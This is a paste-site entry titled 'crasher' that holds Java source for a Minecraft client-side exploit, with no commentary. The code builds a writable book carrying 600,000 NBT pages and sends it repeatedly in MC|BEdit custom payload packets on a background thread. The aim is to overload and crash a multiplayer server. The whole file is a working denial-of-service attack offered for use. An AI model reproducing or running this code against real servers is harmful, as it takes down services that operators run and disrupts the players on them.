crasher


SUBMITTED BY: mkoesik12

DATE: Dec. 13, 2017, 1:43 p.m.

FORMAT: Text only

SIZE: 1.5 kB

HITS: 164

  1. package me.hp888.client;
  2. import io.netty.buffer.Unpooled;
  3. import java.io.IOException;
  4. import net.minecraft.client.Minecraft;
  5. import net.minecraft.client.network.NetHandlerPlayClient;
  6. import net.minecraft.init.Items;
  7. import net.minecraft.item.ItemStack;
  8. import net.minecraft.nbt.NBTTagCompound;
  9. import net.minecraft.nbt.NBTTagList;
  10. import net.minecraft.nbt.NBTTagString;
  11. import net.minecraft.network.PacketBuffer;
  12. import net.minecraft.network.play.client.C17PacketCustomPayload;
  13. public class Crash
  14. {
  15. static PacketBuffer buffer = new PacketBuffer(Unpooled.buffer());
  16. public static void createBook()
  17. {
  18. NBTTagString tString = new NBTTagString("_");
  19. ItemStack stack = new ItemStack(Items.writable_book);
  20. NBTTagCompound tag = new NBTTagCompound();
  21. NBTTagList list = new NBTTagList();
  22. for (int i = 0; i < 600000; i++) {
  23. list.appendTag(tString);
  24. }
  25. tag.setTag("pages", list);
  26. stack.setTagCompound(tag);
  27. try
  28. {
  29. buffer.writeItemStackToBuffer(stack);
  30. }
  31. catch (IOException e)
  32. {
  33. e.printStackTrace();
  34. }
  35. }
  36. public static void sendPayload(int power)
  37. {
  38. Thread t = new Thread(new Runnable()
  39. {
  40. public void run()
  41. {
  42. for (int x = 0; x < this.val$power; x++) {
  43. Minecraft.getMinecraft().getNetHandler().addToSendQueue(new C17PacketCustomPayload("MC|BEdit", Crash.buffer));
  44. }
  45. }
  46. });
  47. t.start();
  48. }
  49. }

comments powered by Disqus